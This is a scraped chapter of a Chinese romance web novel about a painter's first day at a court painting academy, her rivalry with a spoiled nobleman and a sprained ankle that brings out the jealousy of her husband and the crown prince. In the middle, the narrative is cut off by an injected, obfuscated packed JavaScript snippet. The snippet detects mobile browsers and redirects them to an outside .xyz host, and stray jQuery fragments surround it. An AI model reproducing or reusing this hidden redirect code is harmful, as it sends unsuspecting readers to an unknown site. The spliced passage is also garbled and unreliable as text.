28.木枝
作品:《画仙她撩人不自知》 澄观画院的录取工作已全然完成,很快便到了新生画徒前去报道的日子。
这日一早,商绾一换好画徒的靛青色宫装,秀发高绾,簪以玉冠,露出修长纤细的脖颈。与平日的装扮相比,少了些柔美温婉,多了几分清爽明朗。
踏出卧房时,一抹沁人心脾的山茶花香也被携带出来,站于门外等候的裴昀之原本早起有些困倦,倏地便觉得神清气爽,心情舒畅。
商绾一去画院报道与他上朝的时间恰好一致,又恰好顺路,二人便一同坐马车出发。
不知为何,他看见她这身打扮,眼前会浮现出曾经幻想过的,他们在现代结婚后早上一起去上班的画面。
真没想到,这个幻想如今能实现。
见裴昀之目不转睛地盯着自己,商绾一有些赧然地低下头,手上不自觉地整理了一下耳边的碎发:“这身宫装是不是不大适合我?”
裴昀之回过神,仔细打量了一番眼前女子身上的宫装。尺寸宽松,版型板正,颜色沉闷,的确是一件不能再“无聊”的衣裳。
可这样一件呆板的宫装穿在她身上,他却觉得眼前人风韵如画,清雅脱俗,衣袂飘香。如一朵白山茶,虽不及芍药牡丹艳丽,也不像栀子白梨柔婉,却自有一番风骨,在风中轻轻摇曳。
原来衣裳如何,从来都是不重要的。
他眼底闪着温柔笑意,嘴上却是没放过她:“入了画院便好好干活,别脑子里总想着穿衣打扮,小心被撵出去。”
还以为裴昀之会说些客套话宽慰一下自己,没想到有些人是压根不会好好说话的。
商绾一白了一眼他,转头大步向马车走去,却因第一次穿这宫靴而险些崴了脚。
踉跄间,她不由自主地向裴昀之身上倒去,而裴昀之也不动声色地扶住自己的腰,偏头看向她,沉稳的呼吸落在她面庞,引得一阵滚烫:“鞋子不合脚?”
“还好,就是走路有点不习惯。”她低下头,双颊染上一层红霞。
裴昀之目光在她脚踝处略作停留,似是有些不放心:“下班后在画院门口等我,我去接你。”
声音很轻,如一缕温和的风在商绾一耳边荡漾开来,激起她心中一片柔软。
“好。”她垂着眸,细声道。
到达澄观画院时,庭院中已人满为患,新晋的画徒们脸上透露着青涩和难以掩饰的喜悦,激动地叽叽喳喳。
今日太阳大得很,商绾一站到一处树荫下,静静地等候吴掌院对新晋画徒训话。
“哟,这不是辰璟王妃吗?”
倏然,一个傲慢狂放的声音从不远处传来,引得周围人皆侧目。
商绾一循声望去,差点以为自己看错了:南启怎么在这里?
只见南启神色倨傲地睨向自己,板正的宫装也未能掩饰住他那股子颓废的风流气,纨绔的形象丝毫未改。
商绾一轻笑道:“原来是南公子,不知南公子身上的伤可痊愈了?”
闻言,南启脸上带了几分扭曲的怒意:“你还好意思提?若不是因为你,我也不会挨板子,更不会被我姑姑逼着来考这个什么破画院!”
“等等,“商绾一有些诧异,“你是自己考上的?”
听到这话,倨傲的神情回到南启脸上,他双手交叉抱在胸前:“对啊,怎么,看不起我?”
商绾一垂眸一笑:“我哪里会看不起南公子,我只是替南公子高兴,人人口中的纨绔子弟,如今成了画院画徒,想来淑妃娘娘也会欣慰。”
南启不以为然,冷哼道:“你说的那些花里胡哨的,也就能哄哄我姑姑,我告诉你,我与你势不两立!”
闻言,商绾一憋住笑,饶有兴趣地看向这位稚气未退的公子哥:“敢问南公子,要如何与我对抗啊?”
南启双手叉腰,仰着下巴:“从今日起,每一次考核和晋级,我都要在你之上,把你永远踏在脚下!”
“好啊。”商绾一对上南启的目光,扯着嘴角,“我可不会让着你哦。”
南启不屑地冷笑一声,便大摇大摆地扬长而去。
“辰璟王妃,您竟然和那位南公子有过节啊。”站在商绾一身后的一个白净少女轻声道,面色有些担忧惶恐。
商绾一顿了顿:“或许是吧。”
那少女听了撇撇嘴:“我在闺中就听说那南公子极其顽劣,如今看来是真的,连您都敢惹,看来此人要远离才好。”
说到顽劣,商绾一想起这个词似乎也常常用来形容她三妹妹,不禁摇摇头轻声一笑。
“王妃,我叫朱月儿,家里是做小买卖的,家父好像还和贵府有过生意往来。”朱月儿笑吟吟地说道,双颊泛起两个梨涡。
商绾一也回以笑容:“以后咱们就是同僚了,叫我绾一就好。”
朱月儿愉悦地点了两下头。
新晋画徒们听吴掌院训了一上午的话,中午用过膳后便由司务们带领至画堂,进行日常工作的讲授教导。
新晋画徒在画院中等级最低,主要负责临摹、改补名人古画,每三月有一次晋升机会,取每月月底考核的平均成绩由高到低排列,前三名者即可晋为二级画徒,以此类推,往上便依次是一级画徒,三级画师,二级画师,待诏。
官职越高,负责的工作便越有难度,人数便越少,竞争也越激烈。
看来体制内,也很卷啊。
商绾一边这样想着,边到自己的位置坐下,翻开画册,开始今日的临摹工作。
画册打开的一霎那,她眸色一顿,目光凝在第一页右下角的“刘仁”二字上,久久不能移开眼。
这幅《百鸟啼》竟也是出自刘仁之手,她自以为阅遍了刘仁毕生所有作品,却独独没见过这一幅。
她细细打量,不禁秀眉微微蹙起。
只见画上七八只麻雀挤在枯枝上,羽毛用赭石掺了淡墨,倒显出几分蓬松。偏那翅膀的飞白没处理好,墨色化开,活像被雨淋湿了似的。左下角那只黄鹂原该是点睛之笔,可藤黄调得太稠,鸟喙的弧度又僵,倒显出几分呆气。
这怎么看,都不像是出自刘仁之手。
心下想着,她叫住身边路过的杨司务,起身问道:“杨司务,请问这幅《百鸟啼》当真是刘仁画师亲手画就的吗?”
杨司务是个三十出头的丰腴女子,她淡淡瞥了眼商绾一,眼底闪过一丝不易察觉的防备之色,只留下句:“当然。”便继续去做别的事。
商绾一见她事务繁忙,虽还想问些什么,也只好作罢。
————
天色愈暗,宫灯次第亮起,将朱红色高墙映出一片暖色。
宫门口走来两人,一高一矮两道影子投在墙上,前者步伐沉稳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525212|167787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平缓,后者活泼地蹦蹦跳跳。
裴晗月小手里握着一串红彤彤的糖葫芦,哼着小曲儿,笑容欢快明朗,身侧的裴玄策宠溺地看着她,不由得感叹道:“一串糖葫芦就让你这么高兴,这个贺小将军真是有几把刷子。”
裴晗月撅起嘴,说道:“你个孤寡老人,是不会懂我们的甜蜜的!”
“好,我不懂。”裴玄策无奈地摇摇头,唇边笑意未减。
走着走着,远处“澄观画院”四字渐渐入目,裴晗月不禁放慢了脚步。
“我听说前段时间皇婶入职画院,她还挺厉害的。”裴晗月澄澈的眼瞳里带了些羡慕,“皇兄,咱们进去看看皇婶吧!”
若是往日,裴玄策必然会毫不犹豫地答应。
可自从知道楚潇就是商三姑娘后,他却有些不知如何面对商绾一,似乎很怕自己在她心中落得一个风流浪荡的形象。
裴晗月才不是和他商量,只是通知他一声,刚说完便轻步冲向院门。裴玄策一怔,也跟了上去。
刚跨进门槛,就听见“哎呀”一声,只见商绾一狼狈地坐在廊下,颜料盘洒了一地,姣好的面容上,柳眉因疼痛拧在一起,让人看了不禁心生怜惜。
“皇婶,你怎么了?”裴晗月连忙上前去搀扶商绾一,可奈何商绾一脚踝扭伤得实在严重,连起身都困难。
裴玄策蹲下身,指尖虚虚环过她脚踝,面色一沉:“肿得厉害,得尽快上药,我背你去太医院。”
“不必劳烦太子殿下,嘶……”商绾一下意识局促地躲闪,脚踝处愈发疼痛,让她顿时有些说不出来话。
“皇婶,你就别逞强了!”裴晗月心疼地劝道。
话音未落,裴玄策便不再犹豫,在裴晗月的搀扶下,将商绾一一把背起。背上的女子虽还有些慌张不安,却也无力再挣扎。
刚迈出门槛,裴玄策不禁脚步一滞,停在原地。
只见裴昀之与贺临一黑一红两道身影屹立于画院门前,一个面如冰霜,眸深似海,另一个则是目瞪口呆,还有些担忧地扭头看向旁边的那位。
“裴昀之。”商绾一眸色微微一亮后,一丝心虚又爬上面庞,她垂眸看向裴玄策,可奈何男人似乎并没有将自己放下的意思。
裴昀之微微歪着头,目光与裴玄策对视上,似乎在等裴玄策做出正确的举措。
“小皇叔,皇婶脚踝伤得严重,不宜有大动作,便由孤送皇婶去太医院吧。”
此话一出,另外三人皆是狠狠一怔:这裴玄策,莫不是吃错药了?
贺临连忙冲裴晗月使了使眼色,让她快劝劝她这位疯了的哥哥。
“皇兄,小皇叔来了,人家才是夫妻,你这样不合适……”裴晗月只觉得窘迫难堪,小声嘟囔道。
“好,那便有劳太子。”
更令人震惊的来了。
这样一句云淡风轻的话,竟就这样从裴昀之嘴中不慌不忙地说出来。
贺临瞠目结舌地看向裴昀之,似是在看一个不认识的人,可奈何裴昀之依旧是面不改色心不跳,平静地有些过了头。
“无妨。”收到许可,裴玄策点头,径直往太医院方向走去。
“太子殿下慢着。”商绾一清脆的声音响起,再次阻挠住裴玄策的脚步。
“我想让辰璟王殿下背我,还请太子殿下放我下来。”